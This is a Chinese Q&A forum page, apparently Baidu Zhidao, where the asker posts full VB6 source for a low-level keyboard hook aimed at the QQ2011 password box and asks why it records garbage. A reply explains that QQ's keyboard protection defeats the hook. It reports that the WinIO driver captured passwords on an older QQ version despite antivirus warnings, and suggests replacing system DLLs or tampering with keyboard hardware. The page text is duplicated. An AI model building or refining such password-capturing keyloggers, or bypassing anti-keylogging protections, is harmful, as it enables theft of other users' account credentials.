如何利用VB HOOK钩子正确监视含有鼠标闪烁(就是"|"形状的鼠标指针)的窗口输入
我做了一个VB钩子,利用setwindowshookex()函数监视键盘输入,这里以QQ2011窗口为例子做测试:当我运行键盘钩子程序时,账号输入框能正确监视输入,但点击...
我做了一个VB 钩子,利用setwindowshookex()函数监视键盘输入,这里以QQ2011窗口为例子做测试:当我运行键盘钩子程序时,账号输入框能正确监视输入,但点击密码输入框时,即使不做任何键盘操作,每当鼠标指针闪烁一下,键盘钩子程序却会自动乱记录一个码,为什么会这样?能解释一下吗,以下是我所写的程序原码,应该如何修改:
'以下是窗口运行代码
Private Sub Command1_Click()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)
End Sub
'以下是函数声明过程
Option Explicit
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const WM_SYSCHAR = &H106
Public Const WM_SYSCOMMAND = &H112
Public Type KEYMSGS
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public keyMsg As KEYMSGS
Public hHook As Long
'以下是函数功能实现过程
Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim lKey As Long
Dim strKeyName As String * 255
Dim strLen As Long
Dim strtext1 As String
Dim strtext2 As String
If idHook = HC_ACTION Then
CopyMemory keyMsg, lParam, LenB(keyMsg)
Select Case wParam
Case WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP
lKey = keyMsg.sKey And &HFF
lKey = lKey * 65536
If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then
strLen = GetKeyNameText(lKey, strKeyName, 250)
Else
strLen = GetKeyNameText((lKey Or &H1000000),strKeyName,250)
End If
strtext1 = keyMsg.vKey
Form1.Text1.Text = strtext1
strtext2 = Left(strKeyName, strLen)
Form1.Text2.Text = strtext2
End Select
End If
CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam)
End Function 展开
'以下是窗口运行代码
Private Sub Command1_Click()
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf CallKeyHookProc, App.hInstance, 0)
End Sub
'以下是函数声明过程
Option Explicit
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Const WH_KEYBOARD = 2
Public Const WH_KEYBOARD_LL = 13
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_CHAR = &H102
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public Const WM_SYSCHAR = &H106
Public Const WM_SYSCOMMAND = &H112
Public Type KEYMSGS
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public keyMsg As KEYMSGS
Public hHook As Long
'以下是函数功能实现过程
Public Function CallKeyHookProc(ByVal idHook As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim lKey As Long
Dim strKeyName As String * 255
Dim strLen As Long
Dim strtext1 As String
Dim strtext2 As String
If idHook = HC_ACTION Then
CopyMemory keyMsg, lParam, LenB(keyMsg)
Select Case wParam
Case WM_SYSKEYDOWN, WM_SYSKEYUP, WM_KEYDOWN, WM_KEYUP
lKey = keyMsg.sKey And &HFF
lKey = lKey * 65536
If keyMsg.flag = 0 Or keyMsg.flag = 32 Or keyMsg.flag = 128 Or keyMsg.sKey = 54 Then
strLen = GetKeyNameText(lKey, strKeyName, 250)
Else
strLen = GetKeyNameText((lKey Or &H1000000),strKeyName,250)
End If
strtext1 = keyMsg.vKey
Form1.Text1.Text = strtext1
strtext2 = Left(strKeyName, strLen)
Form1.Text2.Text = strtext2
End Select
End If
CallKeyHookProc = CallNextHookEx(hHook, idHook, wParam, lParam)
End Function 展开
2个回答
展开全部
用SetWindowsHookEx拦截QQ密码框,这个我也试过,拦截的是乱码。
原因据说是QQ用了nKey键盘保护。
QQ2011版的我没有试过,10版的我试过,用WinIO可以拦截密码。
不过WinIO加载了驱动,360会有提示,用DirectX监视键盘也拦截不下来。
谁知道11版的WinIO还管事不?,你可以从网上下一个WinIO。
WinIO包含一个库文件,一个动态链接库文件,一个驱动文件。
我告诉你个天下最好的办法吧:
1.将Kernel32.dll或者user32.dll替换成你的。
2.在键盘这个硬件上做手脚。
原因据说是QQ用了nKey键盘保护。
QQ2011版的我没有试过,10版的我试过,用WinIO可以拦截密码。
不过WinIO加载了驱动,360会有提示,用DirectX监视键盘也拦截不下来。
谁知道11版的WinIO还管事不?,你可以从网上下一个WinIO。
WinIO包含一个库文件,一个动态链接库文件,一个驱动文件。
我告诉你个天下最好的办法吧:
1.将Kernel32.dll或者user32.dll替换成你的。
2.在键盘这个硬件上做手脚。
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询